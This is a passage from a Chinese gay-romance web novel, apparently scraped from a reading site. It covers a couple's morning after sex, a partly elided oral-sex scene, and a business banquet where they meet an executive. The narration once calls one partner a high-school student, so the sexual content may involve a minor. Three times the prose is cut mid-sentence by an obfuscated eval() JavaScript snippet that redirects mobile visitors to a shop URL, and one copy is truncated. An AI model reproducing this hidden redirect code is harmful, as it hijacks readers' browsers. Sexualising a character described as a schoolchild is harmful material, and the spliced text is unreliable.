桑群说:“我们不会有的。” “嗯,”阮牧年点头,“我本来还怕你很喜欢小孩,会想要一个。” “我什么时候喜欢小孩了?”桑群莫名其妙。 “你不喜欢吗?那我呢?” “你又不是小孩,”桑群摸了摸他的头,“你是祖宗。” 阮牧年不高兴地咬他:“一定要把我说得那么老吗?” 桑群低下头在他额间亲了亲:“你刚做完就一个劲说什么小孩,我还以为你对我不满意呢。” “我又不是异性恋,为什么要对你不满意,”说着,阮牧年嘻嘻笑起来,“我发现了哦,我是桑性恋。” 桑群在他下巴挠了挠:“嘴甜。” “你不喜欢吗,我舌头现在还是麻的,”阮牧年舔了舔他的锁骨,“原来你喜欢吃甜食啊桑桑。” “不,”桑群说,“我喜欢吃年食。” “啊,”阮牧年呆呆地说,“那我要被吃掉了吗?不要哇。” “怕了?” “好害怕,你不要吃掉我。” “晚了,我已经抓住你了。” “阿君羊哥哥,求求你了。” 桑群顿了顿:“那我先囤起来,留以后吃。” “太好了,阿君羊是好人,”阮牧年蹭他,“喜欢你。” “我也是,”桑群抓了抓他的头发,帮他盖好被子,“缓过来一点了么?” “没有,腰疼,需要按摩服务。”阮牧年可怜巴巴地说。 “这个姿势怎么按,”桑群把手移过去,给他简单揉了两下,“明天帮你按,今晚先将就一下。” “还有屁股,那里也疼。” 桑群顿了顿:“……年年,我不是和尚。” 阮牧年奇怪说:“我知道呀。” “所以你别钓了,我意志力没那么好,”桑群无奈地叹了口气,“再这样下去,今晚都不用睡了。” “哦……”阮牧年眨了眨眼,睫毛扫过桑群颈侧皮肤,“你比我还累吗?” “嗯,累死了。” “好吧,”他好像又自顾自比赢了,音色亮起来,“你确实辛苦了。桑桑拍拍,晚安。” 桑群点头,生怕他反悔,连忙说:“晚安年年,好好睡觉。” 抓紧进入睡眠吧,这么辛苦的一天,应该能睡得很沉。 然而并没有。 怀里的年糕第四次偷偷拱来拱去的时候,桑群忍无可忍地睁开眼,低哑的嗓音透着不爽:“又怎么了?” “你还没睡吗?”阮牧年抖了一下,似乎被他吓到了,“桑桑,这个姿势好累,我想翻身。” 桑群抱起他的腰把人肩膀放下去:“这样可以吗?” 阮牧年感受了一下:“我不喜欢正躺着睡觉,再翻一下吧。” 桑群推着他的肩膀朝向另一面:“现在舒服了吗?” “嗯……”阮牧年慢慢缩起膝弯,双手叠在脸边,“就是没东西抱。” 事情真多,桑群贴上去,伸出胳膊越过阮牧年的腰侧,轻轻扣住他的手,捏了捏:“抱这个吧。” 阮牧年在他手指上亲了一口,抓进手里不放:“好,抱住了。” 桑群嗤了一声:“缺爱的小孩。” “不对,”阮牧年纠正他,“是缺c。” 桑群沉默了一下:“……你别说了。” “你知道吗?本来说刚才这句话的时候,我应该用屁股撅你一下的,”阮牧年又说,“可我没有。因为我的腰没力气了,都是被你……唔唔。” 桑群一手捂他嘴上:“闭嘴睡觉好不好?求你了,我真的好困。” 阮牧年伸出舌头舔他手心,没想到舔不动,只好乖乖点头,表示自己接下来会安分的。 桑群的手撤开一点,在他鼻尖上捏了捏,低沉的嗓音从他后颈边响起:“我一直抱着你呢,放心闭眼吧,不会有噩梦的。” 阮牧年本来快到嘴边的俏皮话止住,听着身后温柔的哄慰,眼眶有些发麻。 他低低嗯了一声,抱住那只刚才亲密抚摸过自己的手,假装听话睡觉了。 只是心里还会转着某些思绪。 比如……原来桑群看出自己在撒谎了,把童年的阴影包装成噩梦。 又比如,原来桑群知道自己一个劲说荤话是在害怕,害怕对方抽离后孤独的空虚感。 桑群说得对,他就是缺爱的小孩,明明知道桑群很爱很爱他,却还是会心生怀疑,对任何变化产生恐惧。 他怕得睡不着觉,宁愿跟桑群纠缠到天亮,也不愿意被消极情绪包围。 但桑群看穿了他笑容下掩藏的一切心思,于是拥紧他、牵他手,还捏了捏他的鼻尖。 缺爱是他今生难治的绝症,所幸有人来到他身边,成为那剂不可或缺的对症药。 第二天醒来,阮牧年悠悠睁开眼,手里空荡荡的。 桑群的手呢? 他皱起眉,翻身坐起来,腰腹往下瞬间传来难以言说的异样感。 “嘶……” 他揉了揉有些昏沉的脑袋,昨晚好像喝醉了,之后发生什么事了? 随着记忆回笼,阮牧年的脸慢慢红起来,他低头一看,腿间的被单微鼓。 “天哪,”他抓了抓自己的头发,小声嘟囔着,“我居然把桑群睡了……喝酒误事,我应该在上面才对啊。” 他又坐了一会儿,等被单变得平坦,想出去找人。 床头柜上放着闹钟,显示现在是早上10:23。 阮牧年觉得不可思议,他居然睡晚了,当然,更不可思议的是桑群居然没赖床。 人在外面吗? 本想直接出去找人,但他眼珠一转,伸着懒腰舒展一下有些酸软的肌肉,拍拍屁股站在床上,然后膝盖一弯扑下去,并极其夸张地大喊了一声。 “哎呦!” 房门立即被打开,桑群穿着常服进来:“怎么了?” 阮牧年从被单里抬起脸,眼底雾蒙蒙的,声音软软地喊他:“桑桑……我腰好疼。” 桑群看他的姿势,好像是刚爬起来就摔倒了,瞬间被他吓到了:“还是很疼吗?我看看。” “嗯嗯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356366|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你快看看吧,”阮牧年埋在被子里,小声地说,“感觉腰要断了。” 桑群掀开他的睡衣衣摆,检查起来:“皮肤上没什么痕迹,是肌肉酸痛吗?” “对对,就是这个,”阮牧年点头,“还有屁股,我坐不起来了,只能趴着呜。” 桑群顿时愧疚万分:“……对不起,是我太用力了。我下次会收敛一点的。” “没关系,我不怪你,”阮牧年轻轻叹了口气,茶香四溢,“也是我一直缠着你不放,才会这样的……桑桑,你给我按摩一下吧,我好难受啊。” 桑群坐在床沿,轻柔地给他按了两下:“这个力度可以吗?” “再、再轻点吧,有点疼。” “好,那我再轻点。” 阮牧年躲在被子里偷笑,差点要笑得发抖起来。 桑群也太好骗了吧。 身上的手从后背按到腰,还顺便往他大腿上捏了捏,一整套下来,桑群又问:“现在呢?舒服一点了吗?” “嗯……”阮牧年假装在感受,又黏乎乎地问他,“可我感觉腿根好麻,走不动路了。我今天可以在床上吃饭吗?” “啊,”桑群没想到他这么严重,“厕所都走不过去吗?” “有点困难啊,”阮牧年低下声音,好像很低落,“你可以抱我过去吗?不过你昨晚也挺累的吧,那、那我还是自己努力一下……” “没事,”桑群已经被他说得心疼得不行,“那我待会儿抱你过去。你先在床上等一等,我给你煮了早餐,我去厨房看一眼。” “早餐?”原来桑群起那么早是为了这个,阮牧年扭过头来,闪着水光的双眼亮晶晶的,“是什么早餐啊?我还以为你早起是有什么其他事情要忙。” 桑群宠溺地摸了摸他的脑袋,勾着他柔软的发丝,温柔地说:“补身体的。我早上是去市场买食材了,没有丢下你。” “嗯,我知道啦,”阮牧年乖乖地往他手心里面蹭,“那你去吧,我在这里等你回来。” 桑群心都化了,低头在他唇上吻了一下,连卫不卫生都不顾及了:“嗯,年年乖,我马上回来。” 看着房门重新合上,阮牧年再也忍不住,笑着在床上打滚。 太好了,他要靠这一招享受一天的公主待遇。 第三扇门被拍了拍,门里的阮牧年幽幽地盯着他,不爽地骂他废物,被人c了还能这么开心。 阮牧年趴回去,笑嘻嘻地嘲讽他求c都没人要。 阮三年气急败坏地踹门,张牙舞爪地表示要出去。 “不要着急呀,”阮牧年摸了摸后腰刚才被桑群按摩过的地方,轻笑着自言自语,“桑桑他太温柔了,好多有意思的事情都没做呢……不过没关系,很快我就能得到他了,我已经想到了好多有趣的点子,到时候我们一起分享……” 阮三年安静下来,给他竖大拇指,夸他能屈能伸是条好汉。 “但桑群只能是我的哦,”阮牧年笑着重申一遍,“只有他能占有我,也只有我,能占有他。” 阮三年低声骂了他一句疯子,躲进门里没声了。 阮牧年心情愉悦地坐起来,拉伸胳膊哼着小调,其实除了刚醒来的那阵劲儿,他早就没什么事了,好歹也是个身强体壮的高中生。 见桑群还没回来,他又站起来,在床上踢了踢腿,思索着待会儿该怎么挂在桑群身上显得又柔弱又可怜。 就在这时,房门毫无征兆地打开了,桑群探头进来:“对了年年,你……” 阮牧年一愣,赶紧趴下去。 桑群也愣了愣,怎么回事,他好像看到一个生龙活虎的阮牧年在床上做广播体操? “啊桑桑,”阮牧年抬起半张脸,冲他虚弱地笑了笑,“你回来啦,有什么事嘛?” 桑群盯着他,脸色有些发沉:“你演我?” “什、什么演不演的啊?”阮牧年眨巴着眼睛装傻,缩着身子蛄蛹了一下,“你、你不要这样看着我嘛……” 桑群冷笑一声,啪地合上门。 89. 89(有删减) 阮牧年慌了,再也装不下去,光着脚跑下床去开门。 “桑桑,你听我解……” 门一开,阮牧年一头栽进猎人的怀抱。 桑群守在门边逮住撒谎精,勾过他的腰抱进怀里,手指在他柔软的屁股蛋上用力捏了捏:“屁股疼、走不动路了、连去厕所都困难,嗯?” 阮牧年趴在他肩膀上,伸胳膊抱他的腰,还在垂死挣扎:“真的呀,现在还很痛,你摸一摸嘛,我说真的。” 桑群捏住他的鼻子:“说谎的小孩是要挨打的。” “我不想挨打,”阮牧年红着眼睛对他说,“我可以挨c……唔唔。” 他刚发出一个气音,就被桑群捏住了嘴。这家伙昨晚口出狂言的劣迹还历历在目,桑群心有余悸:“你少说两句。” “你不信我。”阮牧年很委屈。 “你不骗人,我当然信你,”桑群往下看了一眼,发现他又不穿鞋,无奈地将人抱起来,小臂托着他的大腿,“不疼就不疼,我又不会因此亏待你。” 阮牧年被他放到他的拖鞋上,面对着洗手池的镜子:“如果真的不疼,你不会自卑吗?” 桑群沉默了一下,问:“一点都不疼?” 阮牧年坏笑起来:“嘿嘿,不告诉你。” 桑群无奈地捏了捏他的脸蛋:“不疼是好事,说明我没有为了一己私欲伤害你……不要拿自私说事,这种事上不懂得照顾别人感受的才是坏人,明白吗?” “哦……”阮牧年摸了摸鼻子,感觉刚才还在想着怎么肆意玩弄桑群的自己被教训了。 桑群帮他挤牙膏:“身体什么情况,你照实说给我听就好了,不要想着面不面子的事,不然后面用药不合适怎么办?” “药?”阮牧年一愣,“什么药?” “我早上还去药店买了点消肿药,”桑群给他垫脚,这时只能亲在他脖子上,“待会儿去沙发上给你涂。你先刷牙。” “啊,”那岂不是要脱裤子,阮牧年有些后悔,“其实我也没那么疼……啊哈哈,真的不严重,真的。” “还是需要检查一下,昨晚太暗了看不清,”桑群碰了碰他僵硬在半空的胳膊,“你快点刷。” 不是,真的要进行身体检查啊?这什么医患play,阮牧年百般不情愿,一直想着该怎么推脱掉。 结果直到吃完早饭,桑群还是没松口。 被推进沙发里,桑群打开桌上的药袋,边掏边对他说:“裤子脱了。” (……) 纸巾抽掉,桑群别过脸去,捂着脖子咳嗽。 肩膀攀上一条胳膊,阮牧年压着他,眼里的情绪晦暗不明:“桑桑,你怎么……” 桑群好半天才止住咳嗽,喉间还残留着刚才的异物感,他泛红的耳朵和微带水光的眼眸被阮牧年尽收眼底。 阮牧年掰过他的下巴要跟他接吻,却被桑群制止:“等等,嘴还没擦干净……” “都是我的东西,有什么干不干净的?”阮牧年指的不只是嘴,他偏要这样说,“桑群,你怎么能这么乖啊?你不是讨厌脏东西吗?为什么要吞下去,嗯?” “我不吞下的话,脏的就是沙发了。”桑群抓着他的手腕解释道。 阮牧年沉默了一下:“……沙发比洁癖还重要?” “会洗不干净的,”桑群认真地看着他,“如果有客人来坐,就会发现我和你曾经在这里干过坏事。” 阮牧年:“……” 归根到底还是洁癖,只是存在优先级而已。 更让阮牧年不爽的是,桑群的理由居然不是想让年年舒服。 等桑群去卫生间漱了好几遍口出来,阮牧年毒蛇一般缠上去亲他:“我好难过……所以你是被迫的,对吗?并不是真心想要给我口……” 桑群被他按在墙上,好半天才找到说话的空隙:“……也不是。我也有想着你。” 阮牧年紧盯着他:“想我什么?” “你那次帮了我之后,我其实一直在做心理建设,想着如果有一天趴在那里的人是我,该怎么办,”桑群轻声说,“但我始终没敢下定决心,就这么拖到现在……有件事我没有告诉过你,其实那一次,我很舒服,但不好意思说出来。所以我今天,也是想让你一样舒服。” “我爽炸了,”阮牧年红着眼睛抱紧他的肩膀,“以后都这样帮我吧,我太喜欢了。” “很不卫生,”桑群仅用一秒就拒绝了他,“而且味道非常不好,还好你那一次没吃下去。” “为什么会不好?”阮牧年不信,“那下次我也要吃。” “这种事就不用比了吧……” “这是礼尚往来。” “滚去餐桌边坐着,还有口服药没喝。” “一定要这么完备吗?其实我现在去跑个马拉松都不成问题啊。” “你打算跑多久,十天半个月吗?” “喂。” “听话,乖乖去吃药。” “只有药吗?” “……阮牧年。” “呜。” 男朋友太会照顾人的弊端就在这里,一点磕磕碰碰都要内外服药的。阮牧年在椅子上坐了一会儿,又站起来,跑到桑群腿上坐。 “椅子太硬了。”阮牧年理由成分。 “我不硬吗?”桑群反问。 阮牧年怔了怔,忽然发现桑群这是在跟他开黄色玩笑,有点久违,因为最近好像都是他在说胡话。 桑群伸手在他面前挥了挥:“吓傻了?” 阮牧年忽然大声啊了一下,把桑群吓了一跳:“怎么了?” “……好硬。”阮牧年娇弱地捂住自己的肚子,另一只手去抓桑群的手,“桑桑你摸,我肚子是不是凸起来一块?” 桑群面无表情地摸了一手腹肌,这是一块吗?少说也有83块。 “你身材真好。”桑群只好顺着他的意思说,如果不刻意秀的话会更好。 “嘿嘿,谢谢夸奖,”阮牧年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我就知道,”桑母笑了,终于步入正题,“周三晚上有没有空?带你去个饭局,南区边缘新开了个工厂,老板想结交一下朋友,业内很多人物都会去。” 桑群挑了挑眉:“你缺这一个朋友?” “哈哈不瞒你,”桑母说,“听说良辰的人也来了,那可是于归旗下的公司,能攀上的话咱们真的要走上坡路了,怎么样,感不感兴趣?” 桑群看了阮牧年一眼,后者对他做了个口型。 【东城。】 桑群当然知道,于归是东区财力最雄厚的集团之一,旗下公司涉及各大行业,基本没有拿不出手的,能成为他们的供货商堪称前途无量了,难怪桑母要来特意问他。 电话里,桑母还在游说他:“另外,年年也可以一块跟过来玩,就算谈不成合作,那家酒店的菜品挺好吃的……” 阮牧年眨了眨眼,无声问他:我也可以去嘛? 桑群想了想,应下了:“行。” 90. 90 没想到新工厂的老板手笔挺大,晚宴设在边郊的五星酒店,环境静谧,风景优美,还有露天观景台和空中花园。 出于会谈需要,桑母早便为桑群量身定制了好几套西装,阮牧年与他身材相仿,省去了再购置一套的功夫。 “哇,我要穿这个!”阮牧年从他的衣柜里翻出一套白色烫金边的西装。 “真会挑,”这套是桑母花费最多工艺缝制的,桑群只好退而求其次拿了另一件暗蓝条纹的,“那我穿这个。” “你应该穿黑色的呀,”阮牧年说,“黑白配嘿嘿。” “穿黑西装的满大街都是,”桑群撇了撇嘴,小声说,“而且黑色那几件是旧衣改新,我妈根本没有用心做,里面有毛边不舒服。” “哦,”阮牧年恍然大悟,点头,“那你穿这个吧,蓝白也配嘻嘻。” “嗯,”桑群捏了捏他的手,“如果我中途顾不上你,你先去吃好吃的,我待会儿就去找你。” “知道啦,桑老板。” 五星酒店无愧于它的星级,进门就是巨大的雕像喷泉,水幕之后的前台服务人员个个面带微笑,温柔地询问客人有什么需要帮助。 晚宴在8楼,包了一个能容纳百来人的宴会厅,角落还有现场演奏乐器的氛围组。 他们到得不算早,里面的人们已经三三两两聊开了。 “甜品桌在那里,”桑母小声对阮牧年说,“据说每隔半小时就会上新一次,年年,咱们今晚一定要把本吃回来。” 桑群站在他俩旁边略感无语:“人家请你吃饭,你付出什么成本了?” “打车不要钱呀?来回两趟呢。”桑母心疼地捂住钱包。 桑群:“……” 债都还完了,怎么还这么省吃俭用? “咦,我看到个老朋友,”桑母笑着跟不远处的人打了个招呼,“你俩自己找个位置坐哈,我过去交际了。” 桑群在角落找了个安静的位置,跟阮牧年把大本营定在这里。 桌上小菜酸辣开胃,阮牧年夹了一口,边嚼边问:“你也要去交际了吗?” “没,”桑群往门口看了一眼,回头给阮牧年夹小菜,“还记得我们查的资料吗?良辰来的负责人鸡窝头,黑框眼镜鼻尖有颗痣,现场的人都没有这个特征,人家还没来呢。” “嗷,”平时连同班同学名字都记不住的桑群,居然短短几分钟就看过所有人的脸吗,阮牧年觉得不可思议,“那你待会儿直接过去吧,我会在这里乖乖等你的。” 桑群摸了摸他柔软的发顶,轻笑一声:“嗯,乖年年。” 阮牧年也笑了:“回家以后你要奖励我哦。” 桑群的笑凝固在脸上,抬手给了这个贪吃鬼一脑崩。 “你多吃点甜品吧。”他心力交瘁。 跟这家伙待几天,他都感觉家里可以开牛奶厂了,新鲜取用,纯天然无污染。 阮牧年揉了揉脑袋,用手肘撞他。 品尝了一会儿美食,门边一阵躁动,两人看去,是新厂老板和那位鸡窝头负责人有说有笑地入场了。 新厂老板拿过话筒,做了一番激动人心的开场发言,宣布晚宴正式开始。 服务员们纷纷上菜,酒过三巡,人们陆续起身社交,谈笑声一片。 桑群给阮牧年剥了一碗的蒜蓉虾,慢条斯理擦干净手,想着时机差不多了,结果回头一看,差点傻眼。 只见鸡窝头被一群男男女女簇拥着,想跟他攀谈的人们举着酒杯,排成长队。 桑群:“?” 什么活人旅游景点。 阮牧年蘸着甜醋吃虾,吧唧嘴问:“那个人是明星吗?好受欢迎哦。” 可不是么,就差捧着本子上去要签名了。 桑群看着桌上刚倒好的酒杯,出师未捷身先死,没想到竞争对手这么多。 “那你还要去吗?在队尾排队?”阮牧年悄悄伸爪子偷他酒喝,半路就被抓获作案工具。 桑群给他倒满椰汁,把酒杯移远一点,想了想说:“不排队。我……去碰碰运气吧。” 没过一会儿,他拿着酒杯走了,先去桑母那边跟她朋友混了个眼熟,然后到队尾瞻仰了一下追“星”盛况,路过甜品桌摸了些点心揣走。 其实这间宴会厅带有一个露天观景台,只是人们忙于推杯换盏,没什么人注意到墙边的玻璃门。 门外的晚风有些微热,不如室内空调凉快,初夏的早蝉藏在叶间长鸣。 露台不大,却装扮得很清新温馨。有几个藤编小桌,角落还有一架双人秋千,木杆上缠着一闪一闪的暖黄小灯。 还挺不错啊,桑群将玻璃杯搁在藤桌上,打算待会儿叫阮牧年过来看风景。 将摸走的甜品盘放到桌上,他就着磨砂玻璃那边透过来的灯光,小心地将酒液滴进糕点圆孔中。 另一片叠上去,简易的酒心糕点就做好了,一口吃掉,比干喝酒好吃多了。 盘里的甜品还有很多,桑群一种一种拿出来玩花样。 斜后方忽然传来一道幽幽的青年音,有人饶有兴致地问他:“你在干什么?” 桑群:“吃。” 他咽下嘴里的饼干,回头看去,白衬衫的青年正斜靠在藤架边注视他,身上的西装外套披得随意。 “我当然知道啊,”青年笑了笑,“不过……你看到我似乎并不惊讶?” 桑群:“……我又没瞎。” 他刚进来就看见旁边椅子上躺着个人,一大坨,想忽视都不行。 青年又笑起来,摇头向他抱怨:“他们家的点心太甜了,不好吃。” “加点酒就好了。”桑群说。 青年又问:“外面这么暗,为什么不开灯?” 桑群理直气壮:“因为你在睡觉。” 青年失笑:“那我现在醒了啊。” “哦,”桑群道,“我只是不想破坏氛围而已。” 青年挑了挑眉,忽然说:“我认得你,你是今含韵带来的助理,对不对?” “不对,”桑群纠正他,“我是经理,不是助理。” “噢不好意思,那我可能听岔了,”青年抱歉地笑了笑,“你们也算是老厂了,都说前两年今老板捞到了一个刚大学毕业的高材生当经理,怎么现在看起来……你有点嫩啊?” “可能就是显年轻吧,”桑群面无表情地看着他,“不及您精神矍铄。” 青年脸上的假笑僵了一下:“你说话真难听。” 桑群:“你也是,彼此。” “哎,你那个酒心饼干好吃吗?”青年安静了一会儿,又开始没话找话,“给我来一块呗?” 桑群还在继续摆弄那些甜品,闻言推了一块过去:“自己尝。” “嗯……”青年咽下点心后才开口说话,“还不赖嘛。话说,你这身衣服挺好看的哈?” “嗯,”桑群头也没回,“当然。” “别人夸你,你是一点也不谦虚啊,”青年咂舌,“今天来的都是懂行的,你瞅瞅我这件衣服,咋样?” 桑群看了他一眼:“……定制西装你问我意见?应该问你的设计师去。” “定制吗,”青年随手将外套拎到手里,揉成一条,“我地摊上买的啊,50块一件,100块3件。” 桑群用了很大的意志力才忍住没冲他翻白眼。 “那你运气真好,”他瘫着脸,虚情假意地夸赞,“这都能捡漏大师遗落民间的巨作。” “哈哈谬赞。”青年欣然收下他的赞美。 就在这时,玻璃门被推开:“桑桑,你怎么在这里啊?刚才新上了道菜……” 阮牧年探头进来,看见另一个人影后止住了话头,声音也低下来:“啊不好意思,你们先聊……” “这是你同事?”青年冲阮牧年招了招手,“别走啊兄弟,一块过来聊呗。” “来这里坐,”桑群也叫他,“给你准备了点心。” 阮牧年瞬间走进来了:“什么点心?” 青年也将目光投向桑群,眼神有些意味深长。 桑群将盘子推过去,还想继续制作,发现酒杯空了。 “我这里还有一瓶,”青年从藤椅边拎了一瓶红酒上桌,“不用客气。” 桑群:“……多少度? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356368|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “怎么,”青年支着脑袋笑起来,“生意场上不会喝酒可不行啊。” “他不需要会喝,”桑群婉拒了对方的好意,扭头问阮牧年,“怎么样?” “好吃好吃,”阮牧年嚼个不停,“所以你是往里面加了酒嘛,难怪没那么甜了……嗯,不过我坐在这里真的没事吗?这位……” 青年摆了摆手:“萍水相逢,都是缘分。” 桑群冷脸道:“这位也是良辰的人。” 青年微怔:“嗯?我可没说过啊。” “你跟那位鸡窝头一块进来的。”桑群说。 “这也不能证明什么吧,”青年笑着跟他打太极,“说不定我只是个混进来蹭吃蹭喝的无业游民呢?” 桑群只是瞥了一眼他的衣服:“那你挺闲。” “噢,”青年不甚在意地摘下胸前歪歪扭扭挂着的空白工作牌,“忘记这个了,哈哈。这么说,你是故意跟过来的?” “没,”桑群依然神色冷静,“只是来碰碰运气。” 旁边的阮牧年若有所思地盯着青年的脸,忽然恍然大悟:“哦……哦,我想起来了,原来您就是于归的宋总啊,真人比照片好看多了诶!” “咦,你还挺有眼光……不是,”青年挠了挠头,“我咋成宋总了?” “你比那位负责人的地位只高不低,”桑群平静地说,“我没见过谁家下属把上司扔人堆里面应酬,自己躲起来偷懒的。” “你没有吗?”青年看了一眼外面,“你就是把你老板丢外面,自己过来偷吃点心的典范啊。” “我是经理。”桑群重申一遍。 “好吧,桑经理,”宋总耸了耸肩,“就算如你朋友所说,我是于归高层,但这次来寻求合作的是良辰,找我好像也没什么用吧?” “我不奢求得到您的赏识,”桑群向来很有自知之明,“我只是来向您展示我们的诚意。” 宋总托着腮,定定地看着他,好半晌才挑了挑唇角。 “你挺聪明,”他浅笑着点了点头,“也很有野心,唔,经理这个位置倒是屈才了,没想过顶替你老板的位置吗?” 桑群:“……没必要。” “没必要?奇怪的理由,”宋总又靠回藤杆上,抱着胳膊,“实话说,今含韵的才华确实出彩,你们也在良辰计划会面的名单里。但她不会做管理者,工厂经营得起起伏伏的,据说还有私人债务?很遗憾,这些要素已经让你们跌入待观望的劣等行列。不过我倒是好奇,她从哪儿淘来你这么个变数……” “接下来的经营不会再有赤字风险了,债务也已经还完,”桑群正色道,“另外,今含韵是我妈。” 宋总闻言一怔:“噢,抱歉。这我倒是没想到。” “无妨,”桑群举起酒杯,向他致意,“能让您记住我们俩今天的样子,我的目的就达成了。” 宋总从桌底摸出一个杯子,笑着跟他碰了碰:“算起来你也才25左右吧?跟我差不了两岁,不用这么恭敬,叫我宋绝就行。” “宋绝先生,”桑群低眉瞥了眼他手里雪白的椰汁,略感无语,“你好像有点敷衍。” “见谅,我胃不好,喝不了凉酒,”宋绝打着哈哈跟他碰了个杯,“先干为敬、先干为敬。” 桑群跟着抿了口酒,忽然觉得哪里不太对劲。 嗯?这酒杯不是空了吗,什么时候又有酒了? 他回头一看,阮牧年趴在桌边吃甜点,那瓶红酒赫然放在他手边。 桑群:“你……” 阮牧年眨了眨眼,连忙摆手:“我没偷喝!” 桑群:“……” 不打自招。 宋绝叼着椰奶哈哈笑起来:“你男朋友真可爱。” “是哦,”阮牧年歪着脑袋对桑群露出一个醉醺醺的笑,“他夸你呢,桑桑。” 桑群头疼扶额,忙着交谈忘记防这个馋嘴猫了,这是喝了多少啊。 刚想赶紧带小醉鬼去醒醒神,玻璃门忽然又被推开,一个曼妙的身影拿着酒杯钻进来。 “宋总,可算找到您了。” 宋绝神色微变。 91. 91 “怎么一个人在这里喝酒呢?”女人娇笑着凑过来,“我来陪您嘛,上次的事情还没谈完呢。” 宋绝目光一沉,假笑有些维持不下去:“我记得良辰好像没邀请你父亲吧?” “瞧您这话说的,我爸爸旗下又不止一个公司,”女人掩着嘴笑了两声,不断逼近,“只是您不厚道呀,东城大把的资源,为什么要掺和我们南城的事呢?还派良辰过来撑腰,要说这不是您的授意,我可不信呐。” 宋绝脸色愈发冷沉,藤椅暗中往后挪了一大段:“生意上画地为牢未免太地头蛇做派了吧。上次的事我已经明确拒绝过你们了,黎小姐,我对你没有兴趣,请你自重。” “你们这些大老板谈男的哪个不是图新鲜玩玩,”黎小姐冷哼一声,“宋总,这次我爸让我多带了些股份过来,希望你识……哎呦!” 方才还在放狠话的女人忽然脚下趔趄,鞋跟一歪,差点摔倒。 “哦抱歉,”桑群毫无羞愧之意地缩回脚,面无表情地道歉,“我以为有虫子。” 黎小姐有些狼狈地瞪他:“你!” 趁这个功夫,宋绝敲了蓝牙耳机叫人过来。 见好事要被搅黄,黎小姐竟是不管不顾地冲上来,欲意闹出些绯闻垂死挣扎。 虽说是误入其中,但桑群权衡利弊后,决然抬起手阻拦。 黎这个姓他并没有在南区的各大集团里听说过,再者自己寻求合作的是良辰,这个人情卖了不亏。 只是没想到这个黎小姐力气还挺大,几乎冲到了藤桌边,桑群不得已多用了几成力气。拦是拦住了,可惜动作太大,对方手里的酒杯倾倒泼洒在他干净的西装上。 好在很快有人进来,按住了还在挣扎的黎小姐。 桑群退开来,抽出纸巾蹙着眉心擦拭身上的污渍。 好脏,啧。 闹事的人被控制住,宋绝终于拎着外套站起来,面色不善地走过去。 “我他妈说了我有男朋友,”不久前还笑得温和的青年神色阴沉,上挑的眼尾拉出凌厉的弧度,“黎念姝,你是听不懂人话吗?” “不准按我!”黎小姐挣开安保人员的禁锢,在围起来的人群里红着眼睛质问,“我不信你对我一点感觉都没有,当初……” “别太把自己当回事了,”宋绝单手插兜,神色淡漠地看着她,“回去转告你父亲,这句话同样送给他。” 黎小姐还想再说什么,被安保人员强制“请”走了。 宋绝有些烦躁地抓了抓头发:“王义栋,你过来。” 不知何时,那位明星般的鸡窝头竟也来到这里,语气有些小心翼翼:“咳,宋总,那个……” “你挺会办事的哈,这种人也能放进来,”宋绝皮笑肉不笑,“说吧,这个月想拿多少奖金?” “对不起宋总!是我筛查不够全面,奖金您就扣了吧,给我留点基础工资就好了。”鸡窝头连忙双手合十。 宋绝哼了一声,没再理他,转头看向旁边的桑阮两人:“不好意思,一点麻烦还把你们卷入其中。你这件衣服……” 桑群:“一件50。” “……我那都是玩笑话,”宋绝笑了笑,“今老板的手艺,50块哪儿够呢。哦对了,王总监,这位是今含韵的儿子,帮着她一块经营工厂呢,你们还没见过吧?” “哦哦,幸会幸会,”鸡窝头伸出胳膊跟桑群握手,许是上司在旁边看着,他说话还挺和气,“刚一堆人围着我,我都没空去跟你妈妈打个招呼呢,哎呀,她儿子都这么大了呐。” 桑群微怔:“您认识我妈?” “哎呦,当初我们那个专业,谁不认识她?院花啊,”鸡窝头笑着说,“算起来,我还是你妈妈的大学同学,虽然不在一个班……要不是她入学前就有个土木院的男朋友,早就无数人想追她呢。说到这个,你爸爸也还好吧?” 桑群不动声色地微笑,应付道:“都挺好的。” “那就好、那就好,”鸡窝头说了几句,戴着的蓝牙耳机亮了亮,他抬指按住听了几秒,“哎,主办方那里找我有事,你帮我给你妈妈带句问候啊,就说下次再聚……对了宋总,您也该回去了,晚点还有个会议。” 宋绝随意披上外套,偏头准备离开:“知道了……哦对了,这瓶酒留给你们,就当是赔礼了。” “嗯,”桑群点头目送他,“您慢走。” 露台重归宁静,桑群垂下眼,阮牧年趴在胳膊上正悠悠转醒。 “别装了,”桑群无奈地伸出食指点在他鼻尖,“两口就醉,也太假了。” “我不醉的话,你们怎么放心谈下去呢?”阮牧年弯起眼睛,唇边挂着甜甜的笑,“不过我不太明白,这是谈成功了吗?” 桑群摇头:“不知道。” “啊,你们聊得还行吧?”阮牧年捋着思路,“那个宋总还送了酒,应该是挺满意的意思?” “一码归一码,”桑群倒是冷静,端起酒杯抿了一口,“你没发现吗,无论是宋总还是那位负责人,说话都挺客气的,但他们走的时候连个联系方式都没留下。” 阮牧年挠了挠头:“啊,那他们这是……婉拒了?” 